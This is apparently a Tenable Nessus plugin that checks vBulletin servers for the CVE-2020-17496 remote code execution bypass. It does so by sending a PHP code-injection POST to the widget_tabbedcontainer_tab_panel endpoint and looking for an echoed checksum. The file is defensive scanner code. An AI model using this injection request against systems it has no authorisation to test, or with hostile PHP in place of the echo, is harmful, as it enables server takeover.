vBulletin CVE-2019-16759 Bypass Remote Code Execution (CVE-2020-17496) (direct check)

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(139457);
  script_version("1.10");
  script_set_attribute(attribute:"plugin_modification_date", value:"2023/04/25");

  script_cve_id("CVE-2019-16759", "CVE-2020-17496");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/05/03");
  script_xref(name:"CEA-ID", value:"CEA-2020-0092");

  script_name(english:"vBulletin CVE-2019-16759 Bypass Remote Code Execution (CVE-2020-17496) (direct check)");

  script_set_attribute(attribute:"synopsis", value:
"A bulletin board system running on the remote web server has a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of vBulletin running on the remote host is affected by an input-validation flaw in the
ajax/render/widget_php API that allows for remote code execution. This plugin tests for a bypass to the fix for
CVE-2019-16759.");
  # https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?62dedb88");
  script_set_attribute(attribute:"solution", value:
"Disable PHP widgets or contact the vendor.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2020-17496");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2020/08/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2020/08/10");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:vbulletin:vbulletin");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2020-2023 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("vbulletin_detect.nasl");
  script_require_keys("www/vBulletin");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("http.inc");
include("webapp_func.inc");

port    = get_http_port(default:80);
install = get_kb_item_or_exit('www/'+port+'/vBulletin');

matches = pregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!matches)
  audit(AUDIT_WEB_APP_NOT_INST, "vBulletin", port);

dir = matches[2];

if (dir !~ '/$')
  dir = dir + '/';

url = dir + 'ajax/render/widget_tabbedcontainer_tab_panel';

res = http_send_recv3(
  method:'POST',
  item:url,
  data:'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo(\'crc32("Nessus")=\'.crc32(\'Nessus\'));',
  add_headers:make_array('Content-Type', 'application/x-www-form-urlencoded'),
  port:port,
  exit_on_fail:TRUE
);

# CRC32('Nessus') is 1631274700
if ('1631274700' >!< res[2])
  audit(AUDIT_WEB_APP_NOT_AFFECTED, 'vBulletin', build_url(port:port,qs:dir));

report =
  'Nessus was able to verify the issue using the following request :\n\n' +
  http_last_sent_request() + '\n\n' +
  'The above request resulted in the following output :\n\n' +
  res[2] + '\n\n';

security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);